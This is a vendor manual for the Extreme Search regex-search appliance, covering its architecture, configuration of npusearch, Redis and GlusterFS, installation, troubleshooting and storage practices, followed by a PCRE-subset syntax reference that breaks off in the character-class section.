Extreme Search® Manual

Version 2024.10

https://lewis-rhodes.com

support@lewis-rhodes.com

- 1 Overview
- 2 Architecture
  - 2.1 Hardware Architecture
  - 2.2 Software Architecture
- 3 Configuration
  - 3.1 General
  - 3.2 NPU*search* configuration
  - 3.3 Redis configuration
  - 3.4 GlusterFS configuration
- 4 Common tasks
  - 4.1 Installation
  - 4.2 Storage Setup
  - 4.3 Controlling Backends
  - 4.4 Status and logs
  - 4.5 License Management
  - 4.6 Running Searches
  - 4.7 Troubleshooting
- 5 Common Issues
  - 5.1 Backends Not Up
  - 5.2 Search performance is lower than expected
- 6 Data Storage Best Practices

    - 6.1 Summary
    - 6.2 File Sizes
    - 6.3 File Quantity
- 7 Expression Syntax
    - 7.1 NPU*search* subset of PCRE documentation
    - 7.2 Complex Input Guide
- 8 Python Documentation
    - 8.1 npusearch - Fast regex searching
    - 8.2 More Advanced Examples

1 Overview

Extreme Search® is a computational storage appliance that enables fast, fixed-throughput regular expression based search of files. NPU*search* is a specific implementation of a neuromorphic processor, invented by LRL, and optimized for search. NPU*search* IP allows all files on an appliance to be searched within 12-25 minutes (depending on model). Appliances can be aggregated to support multiple petabytes of searchable storage, while keeping a maximum search time within 12-25 minutes (depending on model). NPU*search* functionality is exposed through a Python library; users submit a list of regular expressions they want to search for and a list of `glob(2)` patterns of files they want to search. NPU*search* returns a list of files that match one or more of the submitted expressions, as well as the ids of expressions that matched.

Extreme Search is covered by US Patents # 9,563,599 and # 9,996,387.

2 Architecture

2.1 Hardware Architecture

Each NPU*search* Computational Storage Device (CSD) consists of two types of components — npusearch devices and commodity NVMe SSDs — behind a peer-to-peer capable PCIe switch. A SmartSSD based NPU*search* CSD contains a single npusearch device and a single 4TB SSD. A Kuona NPU*search* CSD contains 4 npusearch devices, along with up to 8 SSDs.

Each npusearch device contains a region of on device memory — used for data, control and results buffers — and a collection of Processing Elements (PEs). The PEs of each npusearch device may be divided uniformly between a configurable number of "chains," with each chain processing data independently in parallel. The npusearch device implemented on the SmartSSD supports a maximum of 12 chains. The npusearch device on the Kuona card supports a maximum of 16.

Each chain scans data from buffers in the device memory at a fixed bandwidth, with each chain of a device scanning different data in parallel. The maximum scan bandwidth of a device, running with a given number of chains, is thus the product of the number of chains in use times the fixed per-chain rate of the device.

Each chain of an npusearch device processes files sequentially, scanning the entirety of one file before moving on to the next. Each file must be scanned by exactly one chain of one npusearch device. As such, scan performance is in general maximized when each device is asked to scan a large enough number of files such that every chain is active most of the time.

2.2 Software Architecture

In default operation, with automatic decompression disabled, data is provided to the npusearch device by `open(2)`ing files with flags including `O_DIRECT` and `pread(2)`ing from them into the device memory. This relies on the operating system's filesystem and NVMe driver stack generating p2p reads from the SSD into device memory, which will happen correctly on all supported operating systems (linux 5.4 and higher) when the SSDs are formatted using `XFS` and `ext4` filesystems. It is likely that other filesystems would support this as well, but they have not been tested. The details of these transfers are left entirely up to the OS's discretion.

When decompression is enabled, the first 64KB or more of every file is initially read into host memory and probed for compression. When a compressed file is detected, its contents are read into host memory, decompressed using `libarchive(3)`, and the resulting decompressed contents are moved to the NPUsearch device. When compression is not detected, the remaining handling of that file is the same as with decompression disabled.

As a result, decompression performance is dependent on CPU, memory bandwidth, and decompression library performance. This also means that when running with decompression enabled, every non compressed file sees an additional overhead on the order of 10s of microseconds. For files with sizes in the 10s of MB range or larger this has almost no observable impact, but for small files the performance impact can be noticable or even significant.

Disabling decompression on a per-scan basis avoids this additional overhead.

2.2.1 Backend Management

Each npusearch device is driven by an instance of a platform dependant "backend" application — currently found at either `/opt/lrl/lib/npusearch/smartssd-serve-generic-shared` or `/opt/lrl/lib/npusearch/kuona-serve-generic-shared`. Each backend is launched with an npusearch device and a list of directories it is responsible for.

Typically, the backends on one server will all be started using a management script, found at either `/opt/lrl/bin/npusearch_startup_smartssd.sh` or `/opt/lrl/bin/npusearch_startup_kuona.sh`. These scripts enumerate all npusearch devices and all mounted partitions of all npusearch SSDs. The scripts then assign each SSD to one npusearch device, and launch a backend per device passing it all mount points for its corresponding SSDs.

The npusearch startup scripts are, in turn, typically run under systemd, with the unit `npusearch.service`. The systemd unit loads the npusearch config file, verifies that redis is reachable and that backends are not running on the machine it would bring up backends on, launches the startup script, and restarts the backends if they exit unless they exit with code `0`. The state of the backends may generally be inspected using `systemctl` and `journalctl`, and they may be started, stopped, and restarted using `systemctl` like other systemd services.

In rare cases it may be desirable to run the startup scripts manually. In this case, care **must** be taken to ensure that backends are not already running. Configuration may be passed to the startup script by setting environment variables, as found in `/opt/lrl/etc/npusearch.conf`, as discussed below.

2.2.2 Client Access (Frontend)

Access to the npusearch capabilities is provided by the `npusearch` python package. The `npusearch` package provides a client access object, `npusearch.NPUGlusterClient`, which encapsulates communication with the backends, as well as optionally gluster. An `NPUGlusterClient` can be used to scan files, retrieve information on backends and shutdown some or all backend. It can also, as a convenience, be used to list all files matching a glob pattern in a distributed fashion, optionally including their sizes or size, extent, mode, uid and gid as returned by `stat(2)`.

The `NPUGlusterClient` communicates with the backends via redis pubsub. Each backend chooses a unique request channel, subscribes to pubsub messages from redis on that channel, and registers itself by inserting the directories it is responsible under that channel in a redis hash at a key derived from the registry name. Each backend registers itself on startup after it has begun listening for messages, and re-registers itself periodically thereafter.

Each client object chooses a unique response channel for itself, and subscribes to redis pubsub messages on that channel. To issue commands, a client looks up the request channels for backends subscribed under the registry it was configured with and sends a message to each of those channels containing a request id, its response channel, the command, and any additional arguments the command requires. If a message intended for a given backend has no subscribers, delivery to that backend is assumed to have failed; otherwise, delivery of the request is assumed successful. The client then waits for messages on its response channel, and processes them as they come in. Each backend will respond with one or more messages, with all but the last marked "partial". The client will continue listening for response messages until either every backend which was listening responds with a non-partial message or a timeout is exceeded.

Each backend can only run one `scan` operation at a time, as well as one non scan operation such as an `info`, `ls`, `sizes` or `stat` request. All `scan` operations which will inspect at least one file are queued in the backend and may be cancelled up until they have completed. All other operations are queued only in the redis pubsub output queue. Many or long running non-scan requests may in some cases delay `scan` requests from being submitted to the hardware. If many requests will be submitted in parallel, the redis `client-output-buffer-limit` for `pubsub` should be increased to some large value, or set to unlimited.

2.2.3 Gluster Integration

When the GlusterFS integration is being used, each backend must be run with permissions allowing it to read the files under `/var/lib/glusterd/vols`, and the client must be created passing in one or more gluster hosts from the same trusted pool (`gluster_hosts`) and a gluster volume name (`volname`). The client accesses gluster via the standard python wrapper for `libgfapi.so`. The backends look up the locations of gluster bricks they are responsible for by reading the files under `/var/lib/glusterd/vols` directly, and do not interact with the gluster daemon in any way.

When gluster is used and the backends receive a request specifying a `volname`, they will treat all file patterns specified in the request as relative to the gluster brick directories for that volume that are located under directories they are responsible for. The client will **only** interact with gluster directly for commands that ask for paths under gluster with a return type including `CHECKED`. In this case, each file storage path in every response from the backends is checked against gluster to verify that it is a canonical copy of the corresponding gluster volume.

If gluster paths are requested, but `CHECKED` is **not** requested, the conversion from storage path to corresponding gluster path is done via simple path rewriting and is not verified. This may, in some cases, result in matches reported for files which exist under gluster brick directories but which do not correspond to canonical copies of files under gluster — for example because gluster is unaware of the file, or because a brick contains a stale copy of a file in a replicated volume. Unchecked return types will never in and of themselves result in files not being matched when they should have been.

While in some cases using unchecked returns may result in files being reported which do not, as far as gluster is concerned, exist, the process of checking file locations with gluster can cause substantial slowdown when there is a very high match rate or a modest match rate with very many small files.

3 Configuration

3.1 General

NPU*search* itself has no fixed network port requirements. The npusearch client and backend communicate only through redis and respect the port choices that they and redis have been configured with, so long as those are consistent.

By default redis uses ports:

- `6379`

The standard required gluster ports are:

- `24007` - GlusterFS daemon
- `49152:49251` - GlusterFS bricks (this range may need to be larger if many volumes with many bricks are hosted on a machine)

GlusterFS may require additional ports if NFS, CIFS/Samba, or other optional components are configured.

3.2 NPU*search* configuration

NPU*search* itself uses a single config file at `/opt/lrl/etc/npusearch.conf`. This config file is a simple bash script which is sourced by the npusearch service and sets environment variables.

Common keys include:

- `HOST=` the hostname of the redis server for backends on this server to connect to (default `localhost`)
- `PORT=` the port to connect to redis over (int, default `6379`, the default redis port)
- `REDIS_PASSWORD=` a password for backends on this server to use when connecting to redis, if provided (default is unset)
- `REGISTRY=` the registry name for backends to register themselves under in redis (the resulting key will be `npusearch:registry:${REGISTRY}`)
- `LOGFILE=` path, file to use for logging in addition to journalctl (default `/dev/null`)
- `RETRY=` int, number of times to retry connecting to redis before the service gives up
- `RETRY_WAIT=` int, seconds to wait before rechecking redis on startup if redis can't be reached

Less common keys include:

- `RLM_LICENSE=` license file to check (other environment variables that control the RLM licensing software may also be used)
- `MATCH_GAPS=` the default number of match_gaps for backends to run if not overriden in a request (int, default=16, current hardware maximum is 16 on all platforms, will be clamped to a valid value)
- `CHAINS=` the default number of chains for backends to run if not overriden in a request (int, default=16, maximum on SmartSSD systems is 12 and on Kuona systems is 16, will be constrained to a usable value)

Debug/very special configuration only keys include (**YOU PROBABLY DON'T NEED TO SET THESE**):

- `PROG=` path, the program to run for the backends, defaults to the platform default.
- `SBUFF_SIZE=` int, size in bytes of metadata buffers on the hardware for the backends to try to use.
- `DBUFF_SIZE=` int, size in bytes of data buffers on the hardware for the backends to try to use.

Kuona only:

- `POLL_USEC=` int, poll interval when waiting for the hardware, in microseconds.
- `POLL_MSEC=` int, poll interval when waiting for the hardware, in milliseconds.

SmartSSD only:

- `XLA_PLATFORM=` string, name of xrt the shell to use.
- `XCL_BIN=` path, location of the xrt shell to use.
- `TASK_COUNT=` int, depth of pipelining for the backends to use. Will be clamped to an allowed value.

3.3 Redis configuration

Redis is generally configured with a configuration file at `/etc/redis/redis.conf` although if redis is run in some other way that may vary. See the redis documentation for more details https://redis.io/docs/management/

The important things for redis configuration are that:

- every backend **MUST** be able to talk to redis
- the frontend/client **MUST** be able to talk to redis
- currently the backends communicate with redis via `libhiredis`, which does not support TLS connections, so redis **MUST NOT** configured with TLS (This will likely change in the future. Redis may also not be used in the future.)
- clients and backends currently communicate via redis `PUBSUB`. If requests will be made with very large encoded size (i.e., very long literal lists of files or lists of globs, rather than globs which match many files) it is likely that the `client-output-buffer-limit` for `pubsub` will need to be increased. Additionally, if there are many clients making requests concurrently this value should be increased. The redis default is 64MB of buffer at any one time, or 8MB of buffer for at least 60s, but the soft and hard limits **SHOULD** be raised to allow at least 1MB of buffer per anticipated concurrent backend. (In a future release communication is expected to move away from `PUBSUB` primarily, at which point this will be relaxed). If scans are returning sporadic "no one is listening" errors under highly concurrent use, `client-output-buffer-limit` being too low should be suspected.

Note: npusearch namespaces the keys and pubsub channels it uses by prefixing them with `npusearch:`. If keys and channels with these names are not being used elsewhere, the redis **MAY** be shared with other uses. If backends for different registries are on hosts with different hostnames, multiple npusearch clusters **MAY** use the same redis server.

3.4 GlusterFS configuration

If GlusterFS is being used for file placement there are some specific requirements needed to make use of the gluster/npusearch integration. By default gluster is configured using the `gluster` commandline utility. Using some other glusterfs management system may cause this to vary. GlusterFS documentation can be found at https://docs.gluster.org/

Specific requirements for GlusterFS to work with the npusearch integration currently. (Some of these will likely be relaxed in the future)

- gluster volumes **MUST** be configured as "distributed" or "distributed replicated". "dispersed" volumes **MUST NOT** be used.
- gluster volumes **MUST** be backed by bricks on npusearch SmartSSDs
- npusearch SSDs **MUST** be formatted with a file system which supports `O_DIRECT` (e.g., XFS,

ext4). At present the partitions **MAY** be on LVM logical volumes but each logical volume **MUST** only be backed with PVs from a single npusearch drive.
- if gluster integration is desired the backends **MUST** be run with permissions to read the files in `/var/lib/glusterd/vols/**`

4 Common tasks

4.1 Installation

The NPU*search* software is distributed as a tarball containing one or more packages (`.deb` or `.rpm`), an extra copy of the `npusearch` python for easier access/inspection without installing, and a setup script, `npusearch-install.sh` which will install extra dependencies and the npusearch packages, and then system install the `npusearch` python using `pip3`.

An up to date copy of the python **MUST** be system installed for an npusearch host to function correctly. This can be done either by installing via the setup script or by running `sudo pip3 install /opt/lrl/share/python/npusearch` if the `npusearch` `deb` or `rpm` package has already been installed.

Both the `npusearch-install.sh` script and manually installing the python with `pip` will install python packages from the `pip` repositories in addition to installing dependencies from the package manager. Installing the `deb` or `rpm` packages will not do this, and will only install dependencies which the package manager knows about and can uninstall.

By default `npusearch-install.sh` will install gluster from `ppa:gluster/glusterfs-${GLUSTER_VERSION}`. If this is not desired, it can be run with the environment variable `SKIP_GLUSTER=1` set.

The default version of gluster installed by `npusearch-install.sh` is currently 11. GlusterFS version 8 or higher is required, and version 10 or higher is recommended.

4.2 Storage Setup

The npusearch backends will look for files under the directories they have been assigned. If mount points for npusearch SSDs change, the npusearch backends on that host will need to be restarted for those changes to take effect. If npusearch partitions are mounted, unmounted, or moved around, or if the npusearch SSDs are reformatted in any way, a restart of the backends or of `npusearch.service` will be required.

The npusearch backends reread the files under `/var/lib/glusterd/vols` periodically. Gluster volumes can be created, destroyed, reconfigured, and renamed without restarting the backends. These changes may take up to 30 seconds for the backends to notice them.

If SED hardware encryption is in use on the npusearch SSDs, they must be unlocked before their partitions will be available and backends will come up. SED drives will also need to be unlocked, and their partitions mounted, before any gluster volumes they provide storage for will function.

If npusearch backends do not come up properly, ensure that all expected drives and partitions are visible, mounted, and accessible, and then try bringing the backends up again.

4.3 Controlling Backends

In general, the backends should be started and restarted using `systemctl [ start | restart | stop] npusearch.service`.

The method `NPUGlusterClient.quit` can be used to bring down backends remotely for the entire cluster. Passing `hostname=` to `quit` will bring down only backends on a particular host.

By default `NPUGlusterClient.quit` will cause backends to exit with code `0`, after which they will **NOT** be automatically restarted by systemd. An integer can be passed to `NPUGlusterClient.quit( ..., returncode=)`, which will cause the backends to exit with that code. A nonzero exit code will be default cause systemd to restart the backends.

A commandline wrapper of `NPUGlusterClient.quit` is provided as `npuearch_quit`.

4.4 Status and logs

A logfile can be specified in `/opt/lrl/etc/npusearch.conf` as `LOGFILE=` to cause backend and startup script logs to be written to that destination. By default `LOGFILE` is `/dev/null`.

When running under systemd, by default logs can be accessed via `sudo journalctl -u npusearch.service` independent of the `LOGFILE`.

Basic information about status of the unit can be retrieved with `sudo systemctl status npusearch.service`, which gives running state, uptime, the list of running processes for the service, memory usage, and some additional information.

Information about backends in the cluster can be retrieved via `NPUGlusterClient.info`, which returns hardware information about each backend that is reachable.

A commandline wrapper of `NPUGlusterClient.info` is provided as `npusearch_info`.

4.5 License Management

NPU*search* uses RLM for license management. Each backend needs to be able to check out a license in order to come up. Typically, licenses should be placed in `/opt/lrl/lib/npusearch/<file>.lic`. If desired, it may be possible to store license files in one central location made accessible under a local license server. In this case, a license for each node will still be required.

When requesting a license from LRL, the output of `/opt/lrl/bin/getLrlLicInfo` should be provided. This utility will collect and print basic system information as well a list of network interfaces which the license can be locked to.

4.6 Running Searches

Access to the NPU*search* backends is controlled by the `npusearch` python module. See the Python Documentation section for details.

4.7 Troubleshooting

See the Common Issues section for troubleshooting help.

5 Common Issues

5.1 Backends Not Up

The backends need to be up for search to run. When the backends are up, running `npusearch_check` will look something like this:

```
        lrl_admin@guava:~$ npusearch_check
        [
          "npusearch:request:guava-0-1710520177",
          "npusearch:request:guava-1-1710520177",
          "npusearch:request:guava-10-1710520177",
          "npusearch:request:guava-11-1710520177",
          "npusearch:request:guava-12-1710520177",
          "npusearch:request:guava-13-1710520177",
          "npusearch:request:guava-14-1710520177",
          "npusearch:request:guava-15-1710520177",
          "npusearch:request:guava-2-1710520177",
          "npusearch:request:guava-3-1710520177",
          "npusearch:request:guava-4-1710520177",
          "npusearch:request:guava-5-1710520177",
          "npusearch:request:guava-6-1710520177",
          "npusearch:request:guava-7-1710520177",
          "npusearch:request:guava-8-1710520177",
          "npusearch:request:guava-9-1710520177"
        ]
```

When the backend are down, you will see this:

```
        lrl_admin@guava:~$ npusearch_check
        []
```

Here are some steps to try to bring the backends up when they are down:

5.1.1 Restart using systemctl

Run `sudo systemctl restart npusearch.service`. Wait about 15 seconds, then try `npusearch_check` again.

5.1.2 Check status using systemctl

Run `sudo systemctl status npusearch.service`.

- If the last thing it prints is that it's satisfying a license, it got stuck during the startup process. If your device has SmartSSDs, try `sudo systemctl restart mpd.service`.
- If it says "Failed to start NPUSearch search backends." and your device has SmartSSDs, try `sudo systemctl restart mpd.service`. If your device has Kuona cards, try `sudo insmod npusearch`. If that errors, try `sudo dpkg-reconfigure npusearch`.

Repeat step 1.1.

5.1.3 Check log messages

In `/opt/lrl/etc/npusearch.conf` the line `export LOGFILE=path/to/logfile` will be where NPUSearch is writing logs. If the line is commented out, un-comment it and set a path for a log file to be written to. Run steps 1 and 2 again and then read the logs to see where the issues may be.

5.2 Search performance is lower than expected

This is commonly caused by the SSDs overheating and throttling.

- Double check to make sure the fan speed is turned up to minimum 100% on your server management platform. Check that the inlet air temperature into the server is not too hot. If anything is changed at this step, run the tests again.
- Inspect the `ssd_nvme_smart_log_data.ndjson` file to see how hot the SSDs are getting. Each line of that file is a `nvme smart-log` output for each SSD at a given timestamp. The thermal test will fail if any SSD reaches 349 Kelvin, but some SSDs will throttle performance before getting that hot. If desired, send the `ssd_nvme_smart_log_data.ndjson` and `npusearch_install.log` files to

support@lewis-rhodes.com. LRL can do detailed analysis to help determine if throttling is happening.

Another cause could be low CPU clock speed. Although running scans uses few CPU cores, the CPUs need to be clocking at their normal, fast speeds. If they are not, latency drops and bandwidth as well. Ensure your CPUs are running at high frequencies.

6 Data Storage Best Practices

6.1 Summary

Scans will still return correct results if you don't follow these practices. But you likely won't see speeds around 90 GB/sec unless you follow these.

- Have the majority of your files be between 1 MB and 20 GB.
- Run on at least 3,000 files when using gluster to distribute files. If you don't use gluster to distribute files, make sure you have even amounts of data (bytes) per backend and at least 1,500 files in total. Note that if you have fewer files, its likely the absolute time for scan will be fairly low (a few seconds) even if performance (GB/sec) isn't very good.

6.2 File Sizes

The NPU's performance can vary based off of file sizes. When files are smaller than 1 MB the overhead of opening, closing, and reporting files starts to become substantial. In our tests, we have noticed that scans run on files which average around 200 KB in size have GB/sec speeds half of scans run on files which average around 1200 KB. Having many small files also increases the time functions such as `ls`, `stat`, and `sizes` take. Running `NPUGlusterClient.ls(files)` on 2 million files took ~10 seconds, but running it on ~23,000 files took ~0.14 seconds.

On the other end, having files too large causes too few files as discussed in the following section. I suggest no bigger than 20 GB simply because having files larger than that makes it hard to have enough files to get good performance. In addition, when a large file matches there is still a lot of post analysis work that needs to be done (where in that 20 GB was the match?).

6.3 File Quantity

An ExtremeSearch appliance gets its fast speeds by being "embarrassingly parallel". Depending on your device, there are either 256 (Kuona) or 288 (SmartSSD) "chains" which work in parallel. Having too few files or files not uniformly distributed across the drives reduces the ability for the device to search files in parallel. The 3,000 file number for gluster mentioned earlier is more of a heuristic than a hard number. In relatively small quantities gluster doesn't do the best job uniformly distributing files and it becomes hard to saturate all the 256/288 chains long enough to get good performance. The 1,500 number when forgoing gluster operates on the same priciples.

Again, keep in mind that if you have fewer files than this, it likely will not be an issue, given that your scans shouldn't take very long to run on an absolute scale as long as your files aren't too large.

7 Expression Syntax

7.1 NPU*search* subset of PCRE documentation

Compiler version: 0.5.0

The text of this documentation is derived from the PCRE documentation at https://www.pcre.org/current/doc/html/pcre2pattern.html. Please see the "PCRE_LICENSE.txt" file for authorship.

NPU*search* supports a subset of PCRE. This document details what from the above link is supported and what is not.

7.1.1 Characters and Metacharacters

A regular expression is a pattern that is matched against a subject string from left to right. Most characters stand for themselves in a pattern, and match the corresponding characters in the subject. As a trivial example, the pattern

```
The quick brown fox
```

matches a portion of a subject string that is identical to itself. When caseless matching is specified (`(?i)` within the pattern), letters are matched independently of case.

The power of regular expressions comes from the ability to include wild cards, character classes, alternatives, and repetitions in the pattern. These are encoded in the pattern by the use of metacharacters, which do not stand for themselves but instead are interpreted in some special way.

There are two different sets of metacharacters: those that are recognized anywhere in the pattern except within square brackets, and those that are recognized within square brackets. Outside square brackets, the metacharacters are as follows:

- `\` general escape character with several uses
- `^` assert start of string (or line, in multiline mode)
- `$` assert end of string (or line, in multiline mode)
- `.` match any character except newline (by default)
- `[` start character class definition
- `|` start of alternative branch
- `(` start group or control verb
- `)` end group or control verb
- `*` 0 or more quantifier
- `+` 1 or more quantifier; also "possessive quantifier"
- `?` 0 or 1 quantifier; also quantifier minimizer
- `{` potential start of min/max quantifier

Brace characters { and } are also used to enclose data for constructions such as \o{23} or \x{BA}. In almost all uses of braces, space and/or horizontal tab characters that follow { or precede } are allowed and are ignored. In the case of quantifiers, they may also appear before or after the comma.

Part of a pattern that is in square brackets is called a "character class". In a character class the only metacharacters are:

- `\` general escape character
- `^` negate the class, but only if the first character
- `-` indicates character range
- `[` POSIX character class (if followed by POSIX syntax)
- `]` terminates the character class

The following sections describe the use of each of the metacharacters.

7.1.2 Backslash

The backslash character has several uses. Firstly, if it is followed by a character that is not a digit or a letter, it takes away any special meaning that character may have. This use of backslash as an escape character applies both inside and outside character classes.

For example, if you want to match a "*" character, you must write `\*` in the pattern. This escaping action applies whether or not the following character would otherwise be interpreted as a metacharacter, so it is always safe to precede a non-alphanumeric with backslash to specify that it stands for itself. In particular, if you want to match a backslash, you write `\\`.

Only ASCII digits and letters have any special meaning after a backslash. All other characters (in particular, those whose code points are greater than 127) are treated as literals.

If you want to treat all characters in a sequence as literals, you can do so by putting them between `\Q` and `\E`. The `\Q...\E` sequence is recognized both inside and outside character classes. An isolated `\E` that is not preceded by `\Q` is ignored. If `\Q` is not followed by `\E` later in the pattern, the literal interpretation continues to the end of the pattern (that is, `\E` is assumed at the end). If the isolated `\Q` is inside a character class, this causes an error, because the character class is not terminated by a closing square bracket.

7.1.2.1 Non-printing characters

A second use of backslash provides a way of encoding non-printing characters in patterns in a visible manner. There is no restriction on the appearance of non-printing characters in a pattern, but when a pattern is being prepared by text editing, it is often easier to use one of the following escape sequences instead of the binary character it represents. These escapes are as follows:

- `\a` alarm, that is, the BEL character (hex 07)
- `\cx` "control-x", where x is any printable ASCII character
- `\e` escape (hex 1B)
- `\f` form feed (hex 0C)
- `\n` linefeed (hex 0A)
- `\r` carriage return (hex 0D) (but see below)
- `\t` tab (hex 09)
- `\0dd` character with octal code 0dd
- `\ddd` character with octal code ddd
- `\o{ddd..}` character with octal code ddd..
- `\xhh` character with hex code hh
- `\x{hhh..}` character with hex code hhh..
- `\i{xxxxxxxx}` characters which match the binary combination

After `\x` that is not followed by `{`, from zero to two hexadecimal digits are read (letters can be in upper or lower case). Any number of hexadecimal digits may appear between `\x{` and `}`. If a character other than a hexadecimal digit appears between `\x{` and `}`, or if there is no terminating `}`, an error occurs. Characters can be defined by either of the two syntaxes for `\x` or by an octal sequence. There is no difference in the way they are handled. For example, `\xdc` is exactly the same as `\x{dc}` or `\334`. However, using the braced versions does make such sequences easier to read.

The precise effect of `\cx` on ASCII characters is as follows: if "x" is a lower case letter, it is converted to upper case. Then bit 6 of the character (hex 40) is inverted. Thus `\cA` to `\cZ` become hex 01 to hex 1A ("A" is 41, "Z" is 5A), but `\c{` becomes hex 3B ("{" is 7B), and `\c;` becomes hex 7B (";" is 3B). If the code unit following `\c` has a value less than 32 or greater than 126, a compile-time error occurs.

After `\0` up to two further octal digits are read. If there are fewer than two digits, just those that are present are used. Thus the sequence `\0\x\015` specifies two binary zeros followed by a CR character (code value 13). Make sure you supply two digits after the initial zero if the pattern character that follows is itself an octal digit.

The escape `\o` must be followed by a sequence of octal digits, enclosed in braces. An error occurs if this is not the case.

The escape `\i{xxxxxxxx}` allows users to input binary numbers. Replace each 'x' with the value of the bit required to match. For example, `\i{01000001}` is equivalent to the byte '01000001', which is 'A'. Leaving 'x' instead of a bit value causes the escape to be a character class which matches all bytes which have the required bits set. For example, `\i{01x00001}` will match both byte '01000001' and '01100001' ('a' and 'A'). `\i{0xxxxxxx}` will match all bytes with the first bit set to 0 (code points 0-127), while `\i{0xxxxxx1}` will match all bytes with the first bit set to 0 and the last bit set to 1 (code points 1, 3, 5, ... , 125, 127).

7.1.2.2 Constraints on character values

Characters that are specified using octal or hexadecimal numbers are limited to be no greater than `\xff` or `\377`.

7.1.2.3 Escape sequences in character classes

All the sequences that define a single character value can be used both inside and outside character classes. In addition, inside a character class, `\b` is interpreted as the backspace character (hex 08).

`\N` is not allowed in a character class.

7.1.2.4 Generic character types

Another use of backslash is for specifying generic character types:

- `\d` any decimal digit
- `\D` any character that is not a decimal digit
- `\h` any horizontal white space character
- `\H` any character that is not a horizontal white space character
- `\N` any character that is not a newline
- `\s` any white space character
- `\S` any character that is not a white space character
- `\v` any vertical white space character
- `\V` any character that is not a vertical white space character
- `\w` any "word" character
- `\W` any "non-word" character

The `\N` escape sequence has the same meaning as the `.` metacharacter when DOTALL (`(?s)` within the pattern) is not set, but setting DOTALL does not change the meaning of `\N`.

Each pair of lower and upper case escape sequences partitions the complete set of characters into two disjoint sets. Any given character matches one, and only one, of each pair. The sequences can appear both inside and outside character classes. They each match one character of the appropriate type. If the current matching point is at the end of the subject string, all of them fail, because there is no character to match.

The `\s` characters are HT (9), LF (10), VT (11), FF (12), CR (13), and space (32).

A "word" character is an underscore or any character that is a letter or digit.

Characters whose code points are greater than 127 never match `\d`, `\s`, or `\w`, and always match `\D`, `\S`, and `\W`. The upper case escapes match the inverse sets of characters. The horizontal space characters are:

- hex 09 Horizontal tab (HT)
- hex 20 Space
- hex A0 Non-break space

The vertical space characters are:

- hex 0A Linefeed (LF)
- hex 0B Vertical tab (VT)
- hex 0C Form feed (FF)
- hex 0D Carriage return (CR)
- hex 85 Next line (NEL)

7.1.2.5 Simple assertions

The final use of backslash is for certain simple assertions. An assertion specifies a condition that has to be met at a particular point in a match, without consuming any characters from the subject string. The use of groups for more complicated assertions is described below. The backslashed assertions are:

- `\b` matches at a word boundary
- `\B` matches when not at a word boundary
- `\A` matches at the start of the subject
- `\Z` matches at the end of the subject (also matches before a newline at the end of the subject)
- `\z` matches only at the end of the subject

Inside a character class, `\b` has a different meaning; it matches the backspace character. If any other of these assertions appears in a character class, an "invalid escape sequence" error is generated. A word boundary is a position in the subject string where the current character and the previous character do not both match `\w` or `\W` (i.e. one matches `\w` and the other matches `\W`), or the start or end of the string if the first or last character matches `\w`, respectively. NPU*search* does not have a separate "start of word" or "end of word" metasequence. However, whatever follows `\b` normally determines which it is. For example, the fragment `\ba` matches "a" at the start of a word.

The `\A`, `\Z`, and `\z` assertions differ from the traditional circumflex and dollar (described in the next section) in that they only ever match at the very start and end of the subject string, whatever options are set. Thus, they are independent of multiline mode. The difference between `\Z` and `\z` is that `\Z` matches before a newline at the end of the string as well as at the very end, whereas `\z` matches only at the end.

7.1.3 Circumflex and Dollar

The circumflex and dollar metacharacters are zero-width assertions. That is, they test for a particular condition being true without consuming any characters from the subject string. These two metacharacters are concerned with matching the starts and ends of lines.

Outside a character class, in the default matching mode, the circumflex character is an assertion that is true immediately after internal newlines as well as at the start of the subject string. It does match after a newline that ends the string. Inside a character class, circumflex has an entirely different meaning (see below).

Circumflex need not be the first character of the pattern if a number of alternatives are involved, but it should be the first thing in each alternative (or after a newline) in which it appears if the pattern is ever to match that branch.

The dollar character is an assertion that is true before any newlines in the string, as well as at the very end (by default). Note, however, that it does not actually match the newline. Dollar need not be the last character of the pattern if a number of alternatives are involved, but it should be the last item in any branch (or before a newline) in which it appears. Dollar has no special meaning in a character class.

The meanings of the circumflex and dollar metacharacters are changed if the MULTILINE option is NOT set. When this is the case, a dollar character matches only if the current matching point is at the end of the subject string, or immediately before a newline at the end of the string, and a circumflex matches only if the current matching point is at the start of the subject string. If all possible alternatives start with a circumflex and MULTILINE is NOT set, that is, if the pattern is constrained to match only at the start of the subject, it is said to be an "anchored" pattern. (There are also other constructs that can cause a pattern to be anchored.)

The MULTILINE option can be turned off using the `(?-m)` flag; see the section on INTERNAL OPTION SETTING.

For example, the pattern `^abc$` matches the subject string "def\nabc" (where \n represents a newline) in multiline mode, but not otherwise. Consequently, patterns that are anchored in single line mode because all branches start with `^` are not anchored in multiline mode.

Note that the sequences `\A`, `\Z`, and `\z` can be used to match the start and end of the subject in both modes, and if all branches of a pattern start with `\A` it is always anchored, whether or not MULTILINE is set.

7.1.4 Full Stop (Period, Dot) and `\N`

Outside a character class, a dot in the pattern matches any one character in the subject string except (by default) "\n".

The behavior of dot with regard to newlines can be changed. If the DOTALL option is set, a dot matches any one character, without exception. If the two-character sequence CRLF is present in the subject string, it takes two dots to match it.

The handling of dot is entirely independent of the handling of circumflex and dollar, the only relationship being that they both involve newlines. Dot has no special meaning in a character class.

The escape sequence `\N` when not followed by an opening brace behaves like a dot, except that it is not affected by the DOTALL option. In other words, it matches any character except one that signifies the end of a line.

7.1.5 Matching a Single Code Unit

The shorthand `\C` can be used to match a single byte. Since all code units are single bytes, `\C` will match any single character. This is the same as dot when DOTALL is set.

7.1.6 Square Brackets and Character Classes

An opening square bracket introduces a character class, terminated by a closing square bracket. A closing square bracket on its own is not special by default. If a closing square bracket is required as a member of the class, it should be the first data character in the class (after an initial circumflex, if present) or escaped with a backslash. This means that an empty class cannot be defined.

A character class matches a single character in the subject. A matched character must be in the set of characters defined by the class, unless the first character in the class definition is a circumflex, in which case the subject character must not be in the set defined by the class. If a circumflex is actually required as a member of the class, ensure it is not the first character, or escape it with a backslash.

For example, the character class `[aeiou]` matches any lower case vowel, while `[^aeiou]` matches any character that is not a lower case vowel. Note that a circumflex is just a convenient notation for specifying the characters that are in the class by enumerating those that are not. A class that starts with a circumflex is not an assertion; it still consumes a character from the subject string, and therefore it fails if the current pointer is at the end of the string.

Characters in a class may be specified by their code points using `\o` or `\x` in the usual way. When caseless matching is set, any letters in a class represent both their upper case and lower case versions, so for example, a caseless `[aeiou]` matches "A" as well as "a", and a caseless `[^aeiou]` does not match "A", whereas a caseful version would.

Characters that might indicate line breaks are never treated in any special way when matching character classes. A class such as `[^a]` always matches one of these characters.

